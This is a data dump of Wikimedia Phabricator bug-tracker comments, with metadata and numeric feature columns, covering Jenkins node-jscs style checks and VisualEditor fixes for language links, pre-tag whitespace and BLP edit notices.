+241188,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Is this intended to be a tracking bug for every repo, a bug for it to be done automatically for all repos and then repos that now break need to fix themselves, or can it be marked as FIXED?",,,1395766504,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,38,,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0
+241182,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 111963 merged by jenkins-bot:
+Set up node-jscs via Grunt (and pass it)
+
+https://gerrit.wikimedia.org/r/111963",,,1395730881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+241178,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 111963 had a related patch set uploaded by Krinkle:
+[WIP] Set up node-jscs via Grunt (and pass it)
+
+https://gerrit.wikimedia.org/r/111963",,,1391746605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+241172,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 100732 merged by jenkins-bot:
+Set up node-jscs, pass it, and configure in local Gruntfile
+
+https://gerrit.wikimedia.org/r/100732",,,1387317987,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+241166,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 100732 had a related patch set uploaded by Krinkle:
+Set up node-jscs, pass it, and configure in local Gruntfile
+
+https://gerrit.wikimedia.org/r/100732",,,1386727450,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+241161,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Now merged locally in the repo for VisualEditor, and appears to be adding value; moving back to NEW for consideration to be added to jenkins for automated running.",,,1386355646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+241155,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 99596 merged by jenkins-bot:
+Set up node-jscs, pass it, and configure in local Gruntfile
+
+https://gerrit.wikimedia.org/r/99596",,,1386355303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+241149,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Change 99596 had a related patch set uploaded by Krinkle:
+Set up node-jscs, pass it, and configure in local Gruntfile
+
+https://gerrit.wikimedia.org/r/99596",,,1386297732,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+241144,Jenkins: Use node-jscs as checkstyle for javascript coding style,"node-jscs would be purely for coding style, not code quality (which is what jshint is primarily for).
+
+Although there are a few minor things that jshint does in the realm of coding style, those are arguably code quality as well (like using of braces in if/else blocks).
+
+This would allow us to validate the complete coding style (especially with regards to whitespace), which right now is mostly enforced by leaving comments in code review and fixup commits pointing to [[mw:CC/JS]].",,,1379461361,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,11,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+241138,Jenkins: Use node-jscs as checkstyle for javascript coding style,Unrelated.,,,1379460821,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+241130,Jenkins: Use node-jscs as checkstyle for javascript coding style,Is that a replacement for JSHint or unrelated?,,,1379433243,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+56086,VisualEditor: Language link dialog should show language names and two-letter codes,"e.g. fr -> Français, cy -> Cymraeg
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1379014140,1386791658.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-w7k7v4pcanwqeehqmoyp,task_description,resolved,True,c1,3,True,False,False,10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+257550,VisualEditor: Language link dialog should show language names and two-letter codes,"Change 98284 merged by jenkins-bot:
+Show full language names in the MW language dialog
+
+https://gerrit.wikimedia.org/r/98284",,,1386694855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w7k7v4pcanwqeehqmoyp,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257543,VisualEditor: Language link dialog should show language names and two-letter codes,"Change 98284 had a related patch set uploaded by Esanders:
+Show full language names in the MW language dialog
+
+https://gerrit.wikimedia.org/r/98284",,,1385827780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w7k7v4pcanwqeehqmoyp,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+56083,VisualEditor: <pre> tags have leading whitespace removed,"Around the time when VE started to support editing of pres we started to get dirty diffs like this:
+
+http://www.mediawiki.org/w/index.php?title=Parsoid&diff=779292&oldid=777387
+
+This might either be a selser issue, or VE dirtying the DOM.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379007960,1379569694.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-six3hr3num5ryuty64kf,task_description,resolved,True,c1,3,True,False,True,10,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+257426,VisualEditor: <pre> tags have leading whitespace removed,*** Bug 53775 has been marked as a duplicate of this bug. ***,,,1379613849,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+257422,VisualEditor: <pre> tags have leading whitespace removed,"Change 84896 merged by Catrope:
+Fix check for preformatted when stripping whitespace
+
+https://gerrit.wikimedia.org/r/84896",,,1379545395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+257417,VisualEditor: <pre> tags have leading whitespace removed,"Change 84896 had a related patch set uploaded by Catrope:
+Fix check for preformatted when stripping whitespace
+
+https://gerrit.wikimedia.org/r/84896",,,1379545270,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+257415,VisualEditor: <pre> tags have leading whitespace removed,"Change 84332 merged by jenkins-bot:
+Fix check for preformatted when stripping whitespace
+
+https://gerrit.wikimedia.org/r/84332",,,1379466707,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+257412,VisualEditor: <pre> tags have leading whitespace removed,"Change 84332 had a related patch set uploaded by Esanders:
+Fix check for preformatted when stripping whitespace
+
+https://gerrit.wikimedia.org/r/84332",,,1379346257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+257407,VisualEditor: <pre> tags have leading whitespace removed,"There's a check tag on the edit, so VE dirtied something somewhere. That may or may not explain the whole bug, but we should fix it.",,,1379008191,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,10,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+56029,VisualEditor: Provide support for BLP edit notices on enwiki,"For BLP's and disambiguation pages on the English Wikipedia, an extra edit notice is provided through the https://en.wikipedia.org/wiki/Wikipedia:EDITINTRO system using Extension:InputBox and some code in MediaWiki:Common.js. VisualEditor does not work with Extension:InputBox, so the edit notice is not displayed. 
+
+This hack is being used in several Wikimedia wikis besides the English Wikipedia:
+
+* https://ja.wikipedia.org/wiki/MediaWiki:Common.js
+* https://zh.wikipedia.org/wiki/MediaWiki:Common.js
+* https://vi.wikipedia.org/wiki/MediaWiki:Common.js
+
+See also [[https://www.wikidata.org/wiki/Q10566946| Template:BLP editintro (Q10566946)]] and [[https://www.wikidata.org/wiki/Q14400704|  Template:Disambig editintro (Q14400704) ]] for more of the potentially affected wikis.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1378929900,1692749630.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-4a5risai7mr4y6na4dug,task_description,resolved,True,c1,3,False,False,False,10,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1
+2157339,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931573 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on subsequent loads via page tabs%%%
+https://gerrit.wikimedia.org/r/931573",,,1689089611,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,523,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+2157338,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931572 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on back/forward and VE/NWE switch%%%
+https://gerrit.wikimedia.org/r/931572",,,1689089607,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,523,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+2146639,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931571 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] Fix '&editintro=…' not working on Vector with some settings%%%
+https://gerrit.wikimedia.org/r/931571",,,1687373904,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+2145446,VisualEditor: Provide support for BLP edit notices on enwiki,"Thank you @Ryasmeen, I figured out why that was happening. It was only broken when using single edit tab mode, and I didn't think to test that before.
+
+I also fixed the other issue, so after these changes, the message should appear after the editor is opened again as well.",,,1687256236,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,520,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+2145444,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931573 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on subsequent loads via page tabs%%%
+https://gerrit.wikimedia.org/r/931573",,,1687256107,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1
+2145443,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931572 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on back/forward and VE/NWE switch%%%
+https://gerrit.wikimedia.org/r/931572",,,1687256105,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1
+2145442,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931571 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/extensions/VisualEditor@master] Fix '&editintro=…' not working on Vector with some settings%%%
+https://gerrit.wikimedia.org/r/931571",,,1687256103,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1
+2140953,VisualEditor: Provide support for BLP edit notices on enwiki,"It seems the edit intro message is appearing only when you load the page following the link that has the 'editintro' url parameter. But, it's still not showing the edit notice when you click on the 'Edit' button directly on the same page which I think what the new patch was for? 
+
+
+>>! In T56029#8889645, @gerritbot wrote:
+> Change 923769 **merged** by jenkins-bot:
+> %%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
+> https://gerrit.wikimedia.org/r/923769
+
+Here is the screen capture of the issue. Also, it seems the URL on the address bar is different from what it shows when you hover over the Edit link:
+{F37101586}
+
+This is different from the special case @matmarex mentioned here:
+
+>>! In T56029#8890073, @matmarex wrote:
+> This should make the edit intros work.
+> 
+> There's one known issue: the edit intro message only appears the first time the editor is opened after loading/refreshing the page. (Afterwards editor initialization is done differently, and adding this feature without messing up the browser back/forward navigation proved difficult.) We should probably file a separate task about this.
+
+",,,1686587044,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,519,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+2132545,VisualEditor: Provide support for BLP edit notices on enwiki,"This should make the edit intros work.
+
+There's one known issue: the edit intro message only appears the first time the editor is opened after loading/refreshing the page. (Afterwards editor initialization is done differently, and adding this feature without messing up the browser back/forward navigation proved difficult.) We should probably file a separate task about this.",,,1685471894,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,517,,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+2132476,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 923769 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
+https://gerrit.wikimedia.org/r/923769",,,1685467180,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,517,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+2131569,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 923769 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
+https://gerrit.wikimedia.org/r/923769",,,1685320256,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,517,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1
+2109940,VisualEditor: Provide support for BLP edit notices on enwiki,"This already almost works. The API used by VE to fetch edit notices supports the 'editintro' parameter. In fact, if you follow this link, you'll see the notice: <https://en.wikipedia.org/w/index.php?title=Jasmin_Fejzić&veaction=edit&editintro=Template:BLP_editintro>. But if you just click ""Edit"" on the same page, you won't. This probably only needs a tiny bit of glue code to parse the parameters from the ""Edit"" link, like we're already parsing them from the URL.",,,1681952881,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,511,,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+1118401,VisualEditor: Provide support for BLP edit notices on enwiki,"Just to make you know: in ruwiki, we adapted RockMFR's ""magic editintros"" to work with VisualEditor (although the resultant script is rather hackish), see https://ru.wikipedia.org/wiki/MediaWiki:Gadget-blpEditNotice.js.",,,1533665741,,PHID-USER-p6gpvwnc6ske65oxuoof,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,266,,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+1118382,VisualEditor: Provide support for BLP edit notices on enwiki,"Just to make you know: in ruwiki, we adapted RockMFR's ""magic editintros"" to work with VisualEditor (although the resuntant script is rather hackish), see https://ru.wikipedia.org/wiki/MediaWiki:Gadget-blpEditNotice.js.",,,1533665333,,PHID-USER-p6gpvwnc6ske65oxuoof,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,266,,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+786448,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 329796 merged by jenkins-bot:
+Add editintro to notices
+
+[[https://gerrit.wikimedia.org/r/329796]]",,,1483474748,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,183,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+785359,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 329796 had a related patch set uploaded (by Esanders):
+Add editintro to notices
+
